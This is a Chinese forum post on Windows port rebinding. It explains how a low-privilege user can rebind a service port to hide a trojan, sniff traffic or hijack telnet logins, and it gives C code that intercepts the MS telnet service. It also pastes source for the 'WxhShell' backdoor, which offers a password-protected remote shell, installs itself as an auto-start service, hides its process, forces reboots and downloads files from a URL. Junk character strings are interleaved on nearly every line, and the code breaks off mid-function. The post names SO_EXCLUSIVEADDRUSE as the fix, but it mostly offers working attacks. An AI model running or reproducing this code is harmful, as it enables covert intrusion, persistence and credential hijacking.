社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 12657阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:  >Ng)k]G  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); pN&c(=If  
DKm Z  
  saddr.sin_family = AF_INET; D.%B$Y;G  
Y[SU&LM  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |/ }\6L]  
W~Z<1[  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); a83g\c5   
<*EZ@XoN>  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 LC0d/hM  
|*mL1#bB  
  这意味着什么?意味着可以进行如下的攻击: Xes|[*Y!V  
&5t :H 8b  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -xD*tf*  
aV1lJ ;0  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %/.a]j!  
,pBh`av  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 T$= 4O9G  
90xk$3(  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  BN,>&1I  
0W^dhYO  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {k(eNr,  
A*tKF&U5  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 voe7l+Xk  
F%rHU5CkV  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ueG|*[  
ir3VTqz  
  #include x&A vUJ  
  #include +!0eu>~_&  
  #include n,O5".aa<  
  #include    6> {r6ixs1  
  DWORD WINAPI ClientThread(LPVOID lpParam);   \.gEh1HW  
  int main() l =IeJh  
  { *V k ^f+5  
  WORD wVersionRequested; 0D~ C 5}/4  
  DWORD ret; tD$lNh^  
  WSADATA wsaData; FP"$tt(  
  BOOL val; c6Q(Ygc  
  SOCKADDR_IN saddr; Jg$xO@.  
  SOCKADDR_IN scaddr; Ei({`^  
  int err; 23DJV);g8  
  SOCKET s; $ex!!rqN|  
  SOCKET sc; {0YAzZ7  
  int caddsize; b.2J]6G  
  HANDLE mt; 3_5XHOdE  
  DWORD tid;   <f~Fl^^8  
  wVersionRequested = MAKEWORD( 2, 2 ); Bf4%G,o5  
  err = WSAStartup( wVersionRequested, &wsaData ); 6yAA~;*5'  
  if ( err != 0 ) { P6U%=xaC  
  printf("error!WSAStartup failed!\n"); AAUyy :  
  return -1; q1k{  
  } _w ]4~V9  
  saddr.sin_family = AF_INET; <EO<x D=:  
   ~2_lp^Y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 $A<ESfrs  
s4T}Bs r  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =sOo:s  
  saddr.sin_port = htons(23); &GWkq>  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hF&}lPVtv  
  { P(omfD4  
  printf("error!socket failed!\n"); (!?K7<Jv  
  return -1; )yxT+g2!  
  } IJU0[EA]F  
  val = TRUE; H]#Rg`~n  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 l)+:4N?iVv  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) (S^ck%]]a!  
  { EqM;LgE=  
  printf("error!setsockopt failed!\n"); F:37MUQi  
  return -1; yy(A(}  
  } bb=uF1  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ?HR%bn gK  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 X21dX`eMN  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 84&XW  
gH:ArfC  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) DHfB@/q#  
  { 7uI#L}y  
  ret=GetLastError(); x|~zHFm6  
  printf("error!bind failed!\n"); ?q91:H   
  return -1; RHNk%9  
  } ^O%9yEo  
  listen(s,2); kB\kpW  
  while(1) ;8B.;%qkL  
  { CHaE;olo  
  caddsize = sizeof(scaddr); K3p@$3hQ  
  //接受连接请求 +3^NaY`Y  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); {8NwFN.  
  if(sc!=INVALID_SOCKET) So4nJ><p  
  { yFpySvj }  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); P -Fg^tl  
  if(mt==NULL) F;D1F+S  
  { ( v#pj8aE  
  printf("Thread Creat Failed!\n"); [>w%CY<Fd  
  break; !E& MBAKy  
  } t%+$" nP  
  } RazBc.o<  
  CloseHandle(mt); N\R=cwk  
  } V_a)jJ  
  closesocket(s); FrZ]=:  
  WSACleanup(); if~rp-\P  
  return 0; Q_}/ Pn$1  
  }   ` Q9+k<  
  DWORD WINAPI ClientThread(LPVOID lpParam) HcJE0-"  
  { 30 7fBa  
  SOCKET ss = (SOCKET)lpParam; (@ ]tG?I=  
  SOCKET sc; BXTN>d27  
  unsigned char buf[4096]; l_+A5Xy  
  SOCKADDR_IN saddr; 5}a"?5J^  
  long num; lfy7w|  
  DWORD val; =s[ &;B`s  
  DWORD ret; elbG\qXBp  
  //如果是隐藏端口应用的话,可以在此处加一些判断 v["3  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   a c6*v49  
  saddr.sin_family = AF_INET; Bxv8RB  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $!`L"szqD*  
  saddr.sin_port = htons(23); f9'] jJ+  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  `$-lL"  
  { H`D f  
  printf("error!socket failed!\n"); K+mU_+KRp  
  return -1; *ro.mQ_  
  } 5\G)Q<A]*L  
  val = 100; ahp1!=Z-=  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t:9 ZCu ay  
  { },6*Y*?{  
  ret = GetLastError(); k!13=Gh  
  return -1; fq Y1ggL  
  } 3'@&c?F ye  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pF='jj51  
  { pbdF]>\  
  ret = GetLastError(); 8_iHVc;<  
  return -1; t F/nah  
  } .&(8(C  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) W uf/LKj  
  { 2v\W1VF  
  printf("error!socket connect failed!\n"); BkT-m'I?  
  closesocket(sc); (C~dkR?  
  closesocket(ss); (rMZ  
  return -1; b"P&+c  
  } a4u^f5)@  
  while(1) s]bPV,"p  
  { #PH#2/[  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]BfR.,,  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {_as!5l  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 b_ JWnh  
  num = recv(ss,buf,4096,0); YOKR//|3  
  if(num>0) f+^c@0que  
  send(sc,buf,num,0); xOM_R2Md  
  else if(num==0) 08io<c,L  
  break; *+~D+_,  
  num = recv(sc,buf,4096,0); ^;64!BaK  
  if(num>0) h60\ Y 8  
  send(ss,buf,num,0); IQoH@l&Xk  
  else if(num==0) sU*3\  
  break; UKYupLu5  
  } p5`ZyD ]+  
  closesocket(ss); +3HPA#A  
  closesocket(sc); Gt5$6>A  
  return 0 ; Mz}i[|U\  
  } +_-Y`O!Q  
b_mWu@$  
2*YP"Ryh  
========================================================== N&N 82OG  
lrn+d$!@  
下边附上一个代码,,WXhSHELL X{'wWWZC  
&%}6q]e  
========================================================== V7n >,k5  
<THUsY`3P&  
#include "stdafx.h" fOJj(0=y  
x cnt?%%M  
#include <stdio.h> Vs|sw  
#include <string.h> 4[xA- \  
#include <windows.h> :@WLGK*u.  
#include <winsock2.h> Fu mn9  
#include <winsvc.h> *G9 [j$  
#include <urlmon.h> HIrEv  
`~|DoSi^d  
#pragma comment (lib, "Ws2_32.lib") }JH`' &3  
#pragma comment (lib, "urlmon.lib") *XOS.$zGz  
sM0c#YK?  
#define MAX_USER   100 // 最大客户端连接数 Kv1vx*>  
#define BUF_SOCK   200 // sock buffer WRY~fM  
#define KEY_BUFF   255 // 输入 buffer F*X%N_n  
T7ki/hjRb  
#define REBOOT     0   // 重启 G ;jF9i  
#define SHUTDOWN   1   // 关机 v2(U(Tt  
fX""xT NPi  
#define DEF_PORT   5000 // 监听端口 S8vx[<  
F[(6*/46x  
#define REG_LEN     16   // 注册表键长度 UMv"7~  
#define SVC_LEN     80   // NT服务名长度 :;<\5Oy ^  
j]#wrm  
// 从dll定义API 5(KG=EHj_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); KKV)DExv?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7_1W:-A7W  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !HvGlj@(|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =s6E/K  
fls#LcI9>6  
// wxhshell配置信息 xV?*!m$V%R  
struct WSCFG { z6Fun  
  int ws_port;         // 监听端口 yX3PUO9  
  char ws_passstr[REG_LEN]; // 口令 phe"JNML  
  int ws_autoins;       // 安装标记, 1=yes 0=no "zXGp7Q'#  
  char ws_regname[REG_LEN]; // 注册表键名 Ys)+9yPPn  
  char ws_svcname[REG_LEN]; // 服务名 Sr-|,\/O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /AoVl'R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 wd"TM  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *WD;C0?z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v)%[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /5jKX 5r  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 exsQmbj* %  
vs+ We*8H  
}; 8>2&h  
9armirfV'P  
// default Wxhshell configuration ;Sy/N||  
struct WSCFG wscfg={DEF_PORT, zU=YNrn  
    "xuhuanlingzhe", Th_Q owk  
    1, KxGKA  
    "Wxhshell", |x*{fXdMhr  
    "Wxhshell", R9bhC9NP  
            "WxhShell Service", <r0.ppgY  
    "Wrsky Windows CmdShell Service", TLXhE(o|o  
    "Please Input Your Password: ", uSH> $;a  
  1, R&]c"cO L8  
  "http://www.wrsky.com/wxhshell.exe", ^zKt{a  
  "Wxhshell.exe" a4Ls^  
    }; B<(Pd  
omNpE_  
// 消息定义模块 _w\Y{(k  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q"P5,:W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _s2m-jm7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; { ( _B  
char *msg_ws_ext="\n\rExit."; Ii,~HH  
char *msg_ws_end="\n\rQuit."; ~:2&/MOP?  
char *msg_ws_boot="\n\rReboot..."; p1Y+  
char *msg_ws_poff="\n\rShutdown..."; &zO3qt6  
char *msg_ws_down="\n\rSave to "; +SO2M|ru&  
/rn"  
char *msg_ws_err="\n\rErr!"; Gg'<Q.H  
char *msg_ws_ok="\n\rOK!"; GJ.kkTMT  
OiYNH~hv  
char ExeFile[MAX_PATH]; u,:CJ[3  
int nUser = 0; j l}!T[5  
HANDLE handles[MAX_USER]; 2O$95 M  
int OsIsNt; q;CayN'I  
'y'T'2N3  
SERVICE_STATUS       serviceStatus; =U=e?AOG2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &b 5T&-C<  
vYYS .ve  
// 函数声明 /A %om|+Gq  
int Install(void); ?s1u#'aO  
int Uninstall(void); 71JM [2  
int DownloadFile(char *sURL, SOCKET wsh); )3BR[*u*  
int Boot(int flag); e 4 p*51ra  
void HideProc(void); q-A`/9  
int GetOsVer(void); fEx+gQW_  
int Wxhshell(SOCKET wsl); <jpeu^7  
void TalkWithClient(void *cs); vsu@PuqH  
int CmdShell(SOCKET sock); x%_qJ]o  
int StartFromService(void); P'-JbPXU  
int StartWxhshell(LPSTR lpCmdLine); 9Q,Msl4n  
^fFtI?.6jI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); W`w5jk'0^=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A4~D#V  
"PZYgl  
// 数据结构和表定义 pESB Il  
SERVICE_TABLE_ENTRY DispatchTable[] = (~q#\  
{ Pz5ebhgq  
{wscfg.ws_svcname, NTServiceMain}, 1M7\:te*  
{NULL, NULL} e} sc]MTM  
}; V?U%C%C|e  
JR H f.?  
// 自我安装 <$RS*n  
int Install(void) _8,vk-,'  
{ j l;kcGE  
  char svExeFile[MAX_PATH]; N$N;Sw  
  HKEY key; #H'sZv  
  strcpy(svExeFile,ExeFile); "Czz,;0  
fR+Ov8PCq  
// 如果是win9x系统,修改注册表设为自启动 73'U#@g6  
if(!OsIsNt) {  R4&|t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3*CzXK>`M&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7 JxE |G  
  RegCloseKey(key); #[gcg]6c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d9`3EP)n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1mT|o_K{ T  
  RegCloseKey(key); cmwzKu%  
  return 0; ?2J S&i  
    } 3g?MEM~  
  } 9\AEyaJFZ  
}  1m&!l6Jk  
else { ^U-vD[O8  
C1ZFA![  
// 如果是NT以上系统,安装为系统服务 Sf+(1_^`t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zF[3%qZE:T  
if (schSCManager!=0) bs<WH`P  
{ Y{%4F%Oy  
  SC_HANDLE schService = CreateService R=][>\7]}  
  ( Qh)|FQ[s$r  
  schSCManager, g`%ED0aR  
  wscfg.ws_svcname, Zp/qs z(]  
  wscfg.ws_svcdisp, ^2&O3s  
  SERVICE_ALL_ACCESS, Uq9,(tV`6g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wQF&GGY R  
  SERVICE_AUTO_START, {B'Gm]4  
  SERVICE_ERROR_NORMAL, &,m'sQ  
  svExeFile, ^q4l4)8jX  
  NULL, yRgDhA  
  NULL, b5iIV1g  
  NULL, w,M1`RsK  
  NULL, JxX jDYrU  
  NULL o{ ,ba~$.w  
  ); *Gk<"pEeS  
  if (schService!=0) M!xm1-,[  
  { DiZ!c "$  
  CloseServiceHandle(schService); 5@w'_#!)  
  CloseServiceHandle(schSCManager); <Z\MZ&{k{*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xm<5S;E5U4  
  strcat(svExeFile,wscfg.ws_svcname); "-0pz\a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vR6^n~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); pl jV|.?  
  RegCloseKey(key); ]ro1{wm!WU  
  return 0; *eJhd w*  
    } A^T~@AO  
  } SX_kr^#  
  CloseServiceHandle(schSCManager); "sX [p  
} +t7c&td\  
}  2.HZ+1  
'U|MM;(  
return 1; D{,[\^c  
} NDs]}5#   
9 NGeh*`  
// 自我卸载 .LeF|EQU\@  
int Uninstall(void) 9G`FY:(K  
{ >.!5M L\  
  HKEY key; .d#G]8suF  
H3p4,Y}'#  
if(!OsIsNt) { +P> A P&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X]+(c_i:hC  
  RegDeleteValue(key,wscfg.ws_regname); !Zk%P  
  RegCloseKey(key); f^[{k {t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ="#:=i]  
  RegDeleteValue(key,wscfg.ws_regname); Y\z^\k  
  RegCloseKey(key); ,p[\fT($]  
  return 0; \,@Yl.,+  
  } V'HlAQr  
} oP|pOs\$p  
} -7Aw s)  
else { jza}-=&+e  
< tu[cA>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); '?vgp  
if (schSCManager!=0) /JK-}E  
{ /VhE<}OtH  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;EE&~&*w  
  if (schService!=0) fwnYzd3  
  { dCoi>PO  
  if(DeleteService(schService)!=0) { ^B&ahk  
  CloseServiceHandle(schService); )"pxry4v7J  
  CloseServiceHandle(schSCManager); ery?G-  
  return 0; ZZ]OR;8  
  } @MlU!oR&  
  CloseServiceHandle(schService); <WHs  
  } "a0u-}/D  
  CloseServiceHandle(schSCManager); ~kSnXJv  
} V(' 'p{  
} H/^TXqQ8  
lH,]ZA./  
return 1; +AgkPMy  
} *Lb(urf  
0?5%  
// 从指定url下载文件 Fl#VKU3h  
int DownloadFile(char *sURL, SOCKET wsh) ERX|cc  
{ !5E%W[  
  HRESULT hr; 'sjJSc  
char seps[]= "/"; =7J|KoKK  
char *token; :C|>y4U&(s  
char *file; g'}`FvADi  
char myURL[MAX_PATH]; @T,H.#bL  
char myFILE[MAX_PATH]; 7fN&Q~.  
#g-*n@ 1  
strcpy(myURL,sURL); L?D~~Jb  
  token=strtok(myURL,seps); cvs"WX3  
  while(token!=NULL) ~-`BSR  
  { `%mBu`A  
    file=token; X#Dhk6  
  token=strtok(NULL,seps); ?,i#B'Z^  
  } vS J<  
Z68Wf5@to&  
GetCurrentDirectory(MAX_PATH,myFILE); 9 .&Or4>  
strcat(myFILE, "\\"); :,}:c%-^"  
strcat(myFILE, file); nuQLq^e  
  send(wsh,myFILE,strlen(myFILE),0); ik1L  
send(wsh,"...",3,0); R.2KYhp ,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rmg";(I  
  if(hr==S_OK) |S>J<]H p  
return 0; cO=UswIkwO  
else 8x^H<y=O  
return 1; mtWx ?x  
v_@#hf3  
} 3R:7bex  
QqFfR#  
// 系统电源模块 xV n]m9i  
int Boot(int flag) !s[j1=y  
{ Nz>E#.++  
  HANDLE hToken; iM\ Z J6  
  TOKEN_PRIVILEGES tkp; 32-3C6f@oZ  
bKt3x+x(  
  if(OsIsNt) { vVAZSR#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xeP;"J}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u>Axq3F  
    tkp.PrivilegeCount = 1; -B3w RAEt  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9i2vWSga  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C_^R_  
if(flag==REBOOT) { ?/l}(t$H  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) iz  GaV[  
  return 0; <rwOI.W l$  
} ;5oH6{7_Z  
else { dV2b)p4J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0JZq:hUd  
  return 0; W-]yKSob  
} |E_+*1lq.  
  } TNyY60E  
  else { cV,03]x  
if(flag==REBOOT) { YZ%f7BUk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *l?% o{  
  return 0; _"w!KNX>(~  
} I|3v&E 1  
else { T\e)Czz2-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) WfjUJw5x"s  
  return 0; o%~K4 M".  
} x4m_(CtK  
} :J4C'N  
)r|zi Z{F  
return 1; #:\+7mCF  
} /wxxcq  
.IAHy)li"  
// win9x进程隐藏模块 LWb}) #E  
void HideProc(void) .&yWHdQC:  
{ \$HB~u%dr  
!{~7)iq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); l& ^B   
  if ( hKernel != NULL ) @n;YF5  
  { 1d@^,7MF-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J>|:T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %k;FxUKi  
    FreeLibrary(hKernel); yY g&'3  
  } K[|P6J   
`SS~=~WY  
return; I{g2q B$6  
} ?e_}X3{  
08jUVHdt  
// 获取操作系统版本 K{w=qJBM  
int GetOsVer(void) k;:u| s8NS  
{ 36Z`.E>~L  
  OSVERSIONINFO winfo; ^nm!NL{z^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x#gmliF  
  GetVersionEx(&winfo); AO7qs:+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cSs/XJZ  
  return 1; 0!'M#'m  
  else 7/OOq=z  
  return 0; o(SJuZC/U  
} !RUo:b+  
&$z1Hz+l  
// 客户端句柄模块 a3 _0F@I  
int Wxhshell(SOCKET wsl) g$T_yT''  
{ >93{=+  
  SOCKET wsh;  { e  
  struct sockaddr_in client; ZE(RvPW  
  DWORD myID; Sl<-)a:  
NCM{OAjS5U  
  while(nUser<MAX_USER) !zJ67-G  
{ .Zt/e>K&  
  int nSize=sizeof(client); 0JRB Nh  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ZG[0rvW  
  if(wsh==INVALID_SOCKET) return 1; Joo)GIB  
<C`eZ}Qqv  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); r|F,\fF  
if(handles[nUser]==0) >E,L"&_j  
  closesocket(wsh); BHE =Zo  
else np>!lF:  
  nUser++; KeOBbe  
  } __n"DLW  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n|,Vm@zV  
MGC0^voe  
  return 0; ,Y5 4(>>%  
} #<>E+r+  
qlT:9*&g  
// 关闭 socket fU~y481 A  
void CloseIt(SOCKET wsh) S_-mmzC(  
{ l45F*v]^  
closesocket(wsh); i&Cqw~.H  
nUser--; tJ_@AcF  
ExitThread(0); n$0)gKN7  
} -^ ayJ73  
$I0a2Z=dP  
// 客户端请求句柄 W2(=m!:U  
void TalkWithClient(void *cs) z}N^`_ *  
{ ~4` ec   
2}Plr{s9  
  SOCKET wsh=(SOCKET)cs; C)^\?DH  
  char pwd[SVC_LEN]; vCo}-b-j  
  char cmd[KEY_BUFF]; W",jZ"7  
char chr[1]; vgZPDf|  
int i,j; ghQsS|)p.  
M6Z`Pwv];  
  while (nUser < MAX_USER) { acZ|H  
95&sFT C  
if(wscfg.ws_passstr) { J 2~B<=V  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l+X^x%EA  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Sh6 NgO  
  //ZeroMemory(pwd,KEY_BUFF); a#Gq J?nY  
      i=0; (xJBN?NRO  
  while(i<SVC_LEN) { "Ksd9,J\b  
! m5\w>  
  // 设置超时 `CouP-g.  
  fd_set FdRead; 9>, \QrrH  
  struct timeval TimeOut; *<5lx[:4/x  
  FD_ZERO(&FdRead); FsZEB/c  
  FD_SET(wsh,&FdRead); sh3}0u+  
  TimeOut.tv_sec=8; Ec/+9H6g  
  TimeOut.tv_usec=0; BU\NBvX$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); JkEQ@x  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -;.fU44O[#  
}(O kl1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $4) g uG)  
  pwd=chr[0]; m,fr?d/;  
  if(chr[0]==0xd || chr[0]==0xa) { |8+rUFkU8  
  pwd=0; yf>,oNIAg  
  break; EqwA8? M  
  } g@i 4H[k  
  i++; [o6<aE-  
    } LYKm2C*d  
l%w|f`B:  
  // 如果是非法用户,关闭 socket U.)eJ1a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L7="!I  
} ` u)V 9{  
TK1M mL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O4URr  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :{imRa-  
imuHSxcaV  
while(1) { cW>`Z:6{K  
+eat,3Ji  
  ZeroMemory(cmd,KEY_BUFF); Ho9*y3]  
|0Kt@ AJY  
      // 自动支持客户端 telnet标准   R|yTUGY  
  j=0; ,peFNpi  
  while(j<KEY_BUFF) { t*$@QO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u(qpdG||7  
  cmd[j]=chr[0]; e=C,`&s z  
  if(chr[0]==0xa || chr[0]==0xd) { o W [-?  
  cmd[j]=0; g:V6B/M&  
  break; '/@VG_9L]  
  } <Z wEdq  
  j++; ttxOP  
    } hTqJDP"&F  
+%^xz 1m  
  // 下载文件 EkPSG&6RZ  
  if(strstr(cmd,"http://")) { R``qQ;cc  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); wjs7K|PK  
  if(DownloadFile(cmd,wsh)) X13bi}O6#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]z$<6+G  
  else +d. Bf  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r4'Pf|`u  
  } 34:=A0z  
  else { DtX{0p<T3  
!o7. L%S  
    switch(cmd[0]) { Iu]P^8  
  HkCme_y"  
  // 帮助 U^S0H(>  
  case '?': { n+w>Qz'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @B <_h+  
    break; WbF\=;$=7  
  } Ro69woU  
  // 安装 -R]S)Odml  
  case 'i': { MsiSC  
    if(Install()) n%hnL$!z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vOU -bF%u  
    else ekXHfA!i%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :2+:(^l  
    break; owB)+  
    } g.qp _O  
  // 卸载 hHQt4 r'd  
  case 'r': { #=c%:{O{4R  
    if(Uninstall()) :>u{BG;=79  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e!y t<[ph  
    else 0Oq1ay^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mNzZ/*n:  
    break; e78}  
    } 6C=.8eP  
  // 显示 wxhshell 所在路径 nfEk,(:  
  case 'p': { xae7#d0  
    char svExeFile[MAX_PATH]; o@-cT`HP  
    strcpy(svExeFile,"\n\r"); V"z0]DP5~  
      strcat(svExeFile,ExeFile); 9lwg`UWl,  
        send(wsh,svExeFile,strlen(svExeFile),0); }#@LZ)]hK  
    break; ]cK@nq)  
    } 4D5)<3N=d'  
  // 重启 Y-9F*8<  
  case 'b': { [Pl$=[+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -rBj-4|"  
    if(Boot(REBOOT)) *%.*vPJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \ U_DTI  
    else { =>Efrma  
    closesocket(wsh); 92R{V%)G  
    ExitThread(0); Z(cgI5Pu  
